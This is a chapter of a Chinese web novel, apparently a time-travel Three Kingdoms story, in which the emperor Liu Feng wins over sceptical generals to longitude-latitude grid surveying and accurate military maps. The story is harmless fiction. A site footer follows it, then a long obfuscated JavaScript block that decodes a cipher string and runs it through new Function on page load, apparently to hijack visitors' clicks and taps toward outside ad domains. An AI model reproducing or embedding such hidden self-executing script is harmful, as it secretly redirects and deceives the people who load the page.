第622章:舆图测绘定径纬
第622章:舆图测绘定径纬(第1/2页)
太极殿东厢,原本存放竹简文书的旧库被连夜腾空。
刘封负手站在门内,看着十二名身着靛蓝短褐的年轻测绘官将一块巨大的木板缓缓抬上正中的木架。板面足有一丈见方,刷了六遍桐油,打磨得光可鉴人。这是用蜀中老杉木拼接而成,每一块拼板之间的缝隙都用鱼鳔胶填死再刮平,为的是防止受潮变形导致墨线偏移。
刘封微微颔首,转身望向殿外。文武重臣正陆续赶来,姜维、文鸯、杜预、羊祜四人走在最前,身后跟着十余位边镇都督与禁军将领。众人进殿后目光纷纷落在那方巨大的木板上,有人疑惑,有人不屑,还有人凑在一起低声议论。
“今日召集诸卿,”刘封开口,声音不高,却压得殿中所有私语顷刻沉寂,“只为一件事——舆图。”
姜维眉头微挑。作为常年与陇西山地打交道的统帅,他比在座任何人都清楚舆图的分量。但那方木板实在太大,大到几乎占去了半个殿面,这让见惯了羊皮卷和竹帛地图的将领们面面相觑。
“陛下,”右军都督牵弘上前一步,拱手道,“臣斗胆一问。舆图之事,自三代以来便有《禹贡》九州之说,秦有《海内华夷图》,汉有《舆地图》。太史令衙门专司此职,历年修纂未敢懈怠。今日这般兴师动众——”
“牵都督说得不错。”刘封打断他,走到木架前,从袖中取出一卷黄旧的绢帛展开在众人面前。那是一幅汉中郡的旧地图,山川河流用墨线简略勾画,城池标注歪歪斜斜,距离尺度全凭画师臆断。“这是建安年间的汉中舆图。诸位看一看,斜水与褒水的交汇处在图上标记为距南郑东北二十里——”
他转头望向姜维:“伯约,你从斜谷进兵多年,告诉我实际距离多少?”
姜维抱拳答道:“实际水路约四十三里,陆路三十五里。”
殿中一片寂静。
刘封将那卷旧图往旁边一丢,又取出第二卷:“这是陇西郡舆图,图上标着狄道至襄武一百一十里。实际呢?文鸯,你去年骑兵急行军从狄道奔袭襄武,走了多少?”
文鸯声如洪钟:“一百七十里整,臣计过马掌磨损数。”
殿中开始有人倒吸冷气。
刘封将旧图一卷卷丢在地上,最后从怀中掏出一张折得整整齐齐的粗纸——那是他自己画的第一版草图,用脚步丈量,用日影定位,用绳索测距,花了整整三个月才完成的成都周边方圆百里地形。“旧图之谬,少则三成,多则一倍。用这种图行军打仗——”他停了一瞬,目光扫过所有人的眼睛,“跟蒙着眼摸刀有什么区别?”
牵弘脸色微变,欲言又止。
刘封不再多说,转向那十二名测绘官:“开始。”
领头的是个三十出头的精瘦汉子,名叫程述,原本是成都城中的算学先生,三年前被刘封从市井挖出来送入太史令衙门。此刻他手中捧着一套古怪器具——一根铜管嵌着磨制的水晶薄片,管身刻度精细如毫发,另有一条丈余长的麻绳每隔一掌打一个结,还有一方写着密密麻麻数字的漆板。
“此物名‘象限仪’。”程述将那铜管架在木架边缘的支点上,对准殿外日晷方向,“测地之法,第一步定子午。陛下有训:凡舆图,必须经纬相交为纲。经线定南北,纬线定东西——”
“胡闹!”一道粗嗓门从将领群中炸出。
众人回头,只见苍头老将王平大步上前。这位从街亭之战后一直镇守汉中的宿将,此刻须发皆张,指着那根铜管厉声道:“陛下!臣跟先帝打了一辈子仗,看地图看的是山势水脉、关隘要道!什么子午经纬,那是天文学上的东西,拿来画地图?臣闻所未闻!”
殿中空气骤然绷紧。
几个世族出身的年轻将领低声附和。牵弘更是嘴角微动,侧身与身旁的荀恺耳语了几句。刘封知道这些人心里在想什么——舆图是什么?是军队的眼睛,更是权力的触手。旧地图的错漏混乱,很大程度上是各地豪族有意为之。他们掌控地方信息,让朝廷对山川关隘的认知永远隔着一层纱,这层纱就是他们讨价还价的筹码。
现在刘封要掀了这层纱。
“王老将军。”刘封声音平静,甚至带着一丝笑意,“你说你打了一辈子仗,从街亭到祁山,从陇西到斜谷。那我问你——建兴九年你镇守陈仓的时候,西面那条通往散关的小道,你的地图上标了没有?”
王平一愣:“那条道……是猎户踩出来的,地图上自然不会——”
“那条道可以绕行魏军左翼,你当年为什么没用?”
王平张了张嘴,憋红了脸:“臣……臣不知道那条道通到哪里。”
“所以你没用。”刘封从袖中抽出第三张图纸,铺在木板上,“这是我让程述实地勘测后绘制的陈仓以西三十里地形图。那条小道全长十七里,出口在魏军左翼后侧三里处,沿途有两处水源、一处断崖。如果当年你手里有这张图——”
他顿住,没有说完。
殿中再次陷入死寂。王平死死盯着那张图上精细到每一处起伏的山脉轮廓和标了深度的溪涧,嘴唇哆嗦了几下,忽然单膝跪地:“臣……请陛下将此法教与边军!臣今日方知,打了大半辈子的仗,竟是个睁眼瞎子!”
牵弘的脸色终于变了。
刘封向程述点了点头。十二名测绘官同时动作——两人抬出另一块已经画好半幅的木板,上面是成都平原方圆百里的经纬网格。程述用一支削尖的炭笔在网格上快速标注,口中朗声讲解:“定经纬之后,第二步是‘格物法’:将天下划分为等距方格,每格实距十里。山川城池按实测填入格中,误差不出百步。此法可用于任何一州一郡,只需派测绘官实地走一遍——”
(本章未完,请点击下一页继续阅读)第622章:舆图测绘定径纬(第2/2页)
“等一下。”牵弘终于开口,声音压得极低,但每个字都带着冷意,“陛下,臣有一问。”
“讲。”
“天下九州,方圆万里。按照程主簿方才所说,每十里一格——”牵弘伸出手指算了算,嘴角浮起一丝若有若无的讥诮,“仅益州一州之地,便有数万格。每一格都要实地勘测,每一条河流、每一座山丘都要标注高度位置。敢问陛下:这要多少人?多少年?多少粮秣?”
他抬起头,直视刘封:“臣只怕,此事未成而国库先空。倒是便宜了那些——”
他没说完,但所有人都听懂了“那些”指的是谁。世族豪强。他们靠着信息壁垒和地方势力盘踞一方,一旦刘封的测绘官深入其地盘丈量田亩山川,等于把他们的底裤扒光。
刘封看着牵弘,片刻后忽然笑了。
“牵都督算了一笔账。”他从怀中取出第四张纸,上面密密麻麻列着数字,“朕也算了一笔。三年前朕在汉中试行此法——用了多少时间?”
程述接话:“回陛下,汉中郡七十四县,实测完毕共用时十一个月,耗粮四百二十石,调用测绘官八十七人、民夫两百余。”
刘封转头看牵弘:“十一个月,四百二十石粮,汉中全郡山川道路城池渡口全部精确到百步之内。而汉中一郡的赋税——”他伸出一根手指,“去年增收多少?”
站在末席的度支尚书褚粲立刻躬身:“回陛下,汉中郡去年田赋较前年增加三成七,商税增加二成一。缘由正是陛下将实测舆图交与地方,兴修水利、开辟商道皆据此图规划,事半功倍。”
牵弘的嘴唇抿成了一条线。
“四百二十石粮,换一个郡的税收净增三成。”刘封将那张纸叠好放回袖中,声音不高,却像钉子一枚枚敲进每个人的耳膜,“益州十二郡,全部做完不过五千石粮、万余人、四五年功夫。之后呢?之后陇西、关中、荆州、扬州、交州——天下每一寸土地都在朕的图上。行军不用问向导,屯田不用猜水文,调粮不用等探报。”
他忽然转向牵弘,目光锐利如刀:“牵都督,你说这账,划算不划算?”
牵弘额上渗出汗珠。他的父亲牵招本就是边防宿将,家中在并州有数百顷田产,那些田的边界丈量一直靠的还是光武帝时期的旧契。如果刘封的测绘官走进并州——
“划算。”牵弘艰难地吐出两个字,低头拱手,“臣……目光短浅,陛下恕罪。”
“恕什么罪?”刘封摆了摆手,语气忽然转为温和,“牵都督担忧国库用度,是忠臣之心。但朕要你们明白一件事——”
他转身走到那方巨大的木板前,伸手抚过上面日渐成型的经纬网格。阳光从殿门照进来,在他左颊那道浅疤上镀了一层金边。
“舆图是什么?舆图是国家的骨架。山川、河流、道路、城池、田亩、关隘——这些钉在图上,朝廷的政令才能钉到地上。有了精准的舆图,税赋才能公平,水利才能合用,驻军才能合理,甚至——”他顿了顿,目光越过众人望向殿外飞檐上的鸱吻,“判案时,两县之间的地界纠纷都有了依据。”
殿中静得能听见炭笔划过木板的沙沙声。
程述已经蹲在木板一角继续标注成都以西的方格。十二名测绘官各自分片,有人用细墨线勾等高曲线,有人用朱砂标城池级别,有人用绿笔点注水源位置。整块木板像一幅正在织就的巨大锦缎,经纬交错,点线分明。
姜维忽然上前一步,指着木板东侧一片标注了虚线的区域:“陛下,这些虚线是——”
“未来待测的路线。”刘封接过程述递来的炭笔,在陇西方向画了一个圈,“伯约,你明年要去河西,朕会让程述拨一支测绘队随你出征。每打下一地,先测图,再驻军。这张板子——”他轻轻敲了敲杉木边缘,“会跟着你们的马蹄,从成都一路铺到玉门关。”
姜维眼中骤然亮起光芒。他太明白这意味着什么——过去北伐为何总在粮道上栽跟头?因为祁山深处的每一条小路都要靠斥候现探,探到了也画不准,画准了也传不回后方。如果前线每推进一寸,后方就能同步更新一寸的精确地图——
“臣请为先锋。”姜维单膝跪下,声音微微发颤。
文鸯不甘示弱,铜铃眼一瞪,跟着跪地:“臣请率铁骑护测绘队!谁敢动陛下的尺子,先问文鸯的枪答不答应!”
一群年轻将领哗啦啦跪了一片。牵弘站在人群中左右看了看,终究长叹一声,也单膝跪了下去。
刘封环顾殿中跪满的文武,炭笔在指间转了一圈。日头正从殿门外斜照进来,将那块巨大的木图映得明晃晃的。经纬网格上,成都、汉中、陇西、关中的轮廓正在一寸寸成型,像一幅庞然画卷刚刚展开第一角。
他忽然想起很多年前在另一个时空的军校里,教官指着沙盘说:战争打的是什么?是信息。谁的眼睛更亮,谁的手就更狠。
如今这张板子就是他的眼睛。
“都起来。”刘封将炭笔搁在木架边缘,“程述,三日之内定出一套测绘官培训章程。各州各郡,每郡至少要派两名测绘官实地勘测。先从益州开始,一路向北——”
他顿住,望向殿外绵延的秦岭轮廓。夕阳正沿着山脊缓缓滑落,将峰峦染成一片暗金。
“朕要让大汉的每一寸土地,都写在图上。”
(第622章完)
你的赞赏,是我创作的动力
每一份支持,都是文字的温暖共鸣
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();